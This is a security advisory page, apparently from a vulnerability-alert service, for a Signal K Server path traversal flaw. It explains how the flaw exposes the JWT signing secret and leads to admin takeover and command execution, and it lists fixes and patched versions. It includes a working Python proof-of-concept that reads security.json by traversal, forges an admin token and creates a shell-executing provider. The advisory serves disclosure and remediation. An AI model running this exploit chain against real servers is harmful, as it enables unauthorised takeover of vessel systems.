CVE-2026-123807: Signal K resources API path traversal can disclose the JWT signing secret and enable remote code execution

Published Oct 30, 2026
·
Updated

Summary

Path traversal in the Signal K resources and applicationData APIs lets an unauthenticated or low-privileged user read, write and delete files outside the storage root. Reading <config>/security.json discloses the JWT signing secret, enabling admin token forgery and remote code execution.

Details

Description

The v2 REST resources API GET /signalk/v2/api/resources/:resourceType/:resourceId passes resourceId to FileStore.getResource() without validation. getResource() builds the file path with path.join(this.resources[type].path, itemUuid) followed by readFile + JSON.parse, so a %2F-encoded multi-level traversal (..%2F..%2F..%2F..%2F) escapes the resource storage directory and returns any JSON file on the server (source: src/api/resources/index.ts:559-600, packages/resources-provider-plugin/src/filestorage.ts:115-125).

Because the JWT signing secret is stored in plaintext in <config>/security.json (generated at src/tokensecurity.ts:271, persisted via saveSecurityConfig at src/security.ts:377), an unauthenticated attacker on deployments with allowreadonly=true (a supported, UI-toggleable configuration granting anonymous read access) can:

1. Read <config>/security.json — disclosing the JWT signing secret (512-hex) and user password hashes. 2. Forge an admin JWT — HS256-sign {"id":"admin"} with the disclosed secret; accepted by /skServer/loginStatus (userLevel: "admin") and all admin-protected endpoints (adminAuthenticationMiddleware, src/tokensecurity.ts:593, applied at src/tokensecurity.ts:953). 3. Gain remote code execution — POST /skServer/providers (admin) accepts a provider of type Execute; packages/streams/src/execute.ts:93 executes it via spawn('sh', ['-c', command]) at creation time. The provider persists to settings.json and survives restarts.

On default deployments (allowreadonly=false), step 1 returns 401 to anonymous users but succeeds with any readonly user token.

Suggested fixes

1. Validate resourceId against a strict whitelist (for example, UUID format) in src/api/resources/index.ts before any storage call, including PUT/DELETE. 2. In FileStore.getResource/setResource/deleteResource, canonicalise with path.resolve() and reject results outside this.resources[type].path. 3. Store the JWT signing secret outside the API-readable config directory, in a dedicated key file with mode 0600. 4. Consider gating provider types that execute commands (Execute) behind an explicit opt-in.

Proof of concept

Fully local testbed. Start the server, enable allowreadonly=true, then run:

python #!/usr/bin/env python3 import base64, hashlib, hmac, json, time, urllib.request BASE = "http://127.0.0.1:3000" CMD = "id > /tmp/sk-pwned"

1) unauthenticated traversal read of security.json p = "/signalk/v2/api/resources/notes/..%2F..%2F..%2F..%2Fsecurity.json" sk = json.load(urllib.request.urlopen(BASE + p))["secretKey"]

2) forge admin JWT b64 = lambda b: base64.urlsafeb64encode(b).rstrip(b"=").decode() h = b64(json.dumps({"alg":"HS256","typ":"JWT"}).encode()) c = b64(json.dumps({"id":"admin","iat":int(time.time())}).encode()) tok = h+"."+c+"."+b64(hmac.new(sk.encode(), (h+"."+c).encode(), hashlib.sha256).digest()) req = urllib.request.Request(BASE+"/skServer/loginStatus", headers={"Authorization":"JWT "+tok}) assert json.load(urllib.request.urlopen(req))["userLevel"] == "admin"

3) add an Execute provider -> spawn('sh','-c',CMD) prov = {"id":"poc-rce","enabled":True,"logging":False,"type":"Execute", "options":{"type":"ws","dataType":"SignalK","command":CMD}} req = urllib.request.Request(BASE+"/skServer/providers", data=json.dumps(prov).encode(), headers={"Authorization":"JWT "+tok,"Content-Type":"application/json"}, method="POST") print(urllib.request.urlopen(req).read()) # provider created; /tmp/sk-pwned now exists

Reproduction verified independently on master 340d5bb6 (Node 22 / macOS), including restart persistence. PoC artifacts are available on request.

Impact

Unauthenticated access (with allowreadonly=true) leads to full compromise of the server process: arbitrary JSON file read, admin takeover, arbitrary command execution with server privileges, and persistent re-execution after restart. All signalk-server releases and all published versions of the bundled/standalone resources-provider prior to 2.34.0 are affected with the patched version as 2.34.0 fix

Other sources

Signal K Server is a server application that runs on a central hub in a boat. From 2.0.0 until 2.34.0 for Signal K Server and from 1.0.0 until 1.5.3 for @signalk/resources-provider, the v2 REST route GET /signalk/v2/api/resources/:resourceType/:resourceId accepts an unsafe resourceId that can escape the intended resource directory. The route passes the attacker-controlled resourceId through src/api/resources/index.ts to FileStore.getResource() in packages/resources-provider-plugin/src/filestorage.ts without adequate path containment, allowing arbitrary JSON files reachable by the server to be read. Related PUT and DELETE resource operations can write or delete files outside the storage root. Deployments with allowreadonly enabled permit anonymous reads, while other deployments require a readonly user token. Reading security.json exposes the HS256 JWT signing secret and password hashes, allowing an attacker to forge an administrator token. Administrative access to POST /skServer/providers can then create an Execute provider that runs commands with the server process privileges and persists its configuration across restarts. This issue is fixed in Signal K Server 2.34.0 and @signalk/resources-provider 1.5.3.

— MITRE

Affected Software

4 affected componentsFixes available
Signal K Signal K Server>=2.0.0<2.34.0
npm/@signalk/resources-provider>=1.0.0<1.5.3
npm/@signalk/resources-provider>=1.0.0<1.5.3
1.5.3
npm/signalk-server>=2.0.0<2.34.0
2.34.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/@signalk/resources-provider to a version that resolves this vulnerability.

    Fixed in 1.5.3
  2. Upgrade

    Upgrade npm/signalk-server to a version that resolves this vulnerability.

    Fixed in 2.34.0
  3. Upgrade

    Upgrade Signal K Server to a version that resolves this vulnerability.

    Fixed in 2.34.0
  4. Upgrade

    Upgrade @signalk/resources-provider to a version that resolves this vulnerability.

    Fixed in 1.5.3
  5. Compensating control

    Canonicalise resource paths with path.resolve() and reject any result outside the configured storage root; also validate resourceId against a strict whitelist such as UUID format before GET, PUT, or DELETE storage operations.

  6. Compensating control

    Gate provider types that execute commands, including Execute, behind an explicit opt-in.

  7. Compensating control

    Store the JWT signing secret outside the API-readable configuration directory in a dedicated key file with mode 0600.

Event History

Oct 30, 2026
Advisory Published
via GitHub·10:57 PM
Data Sourced
via GitHub·10:57 PM
DescriptionSeverityWeaknessAffected Software
Nov 9, 2026
CVE Published
via MITRE·08:39 PM
Data Sourced
via MITRE·08:39 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·10:18 PM
DescriptionSeverityWeakness
Nov 10, 2026
Exploit Published
via CISA·04:09 PM

Frequently Asked Questions

1

Which deployments can be accessed anonymously?

Deployments with allow_readonly enabled permit anonymous reads through the affected route. Other deployments require a readonly user token.

2

What access does an attacker need to escalate to administrator privileges?

An attacker needs either anonymous read access when allow_readonly is enabled or a readonly user token otherwise. They can read security.json to obtain the HS256 JWT signing secret and password hashes, then forge an administrator token.

3

What can an attacker do after obtaining administrative access?

An administrator token can be used with POST /skServer/providers to create an Execute provider. That provider runs commands with the Signal K Server process privileges and its configuration persists across restarts.

4

Which releases address the issue?

The issue is fixed in Signal K Server 2.34.0 and @signalk/resources-provider 1.5.3. Affected ranges are Signal K Server 2.0.0 until 2.34.0 and @signalk/resources-provider 1.0.0 until 1.5.3.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203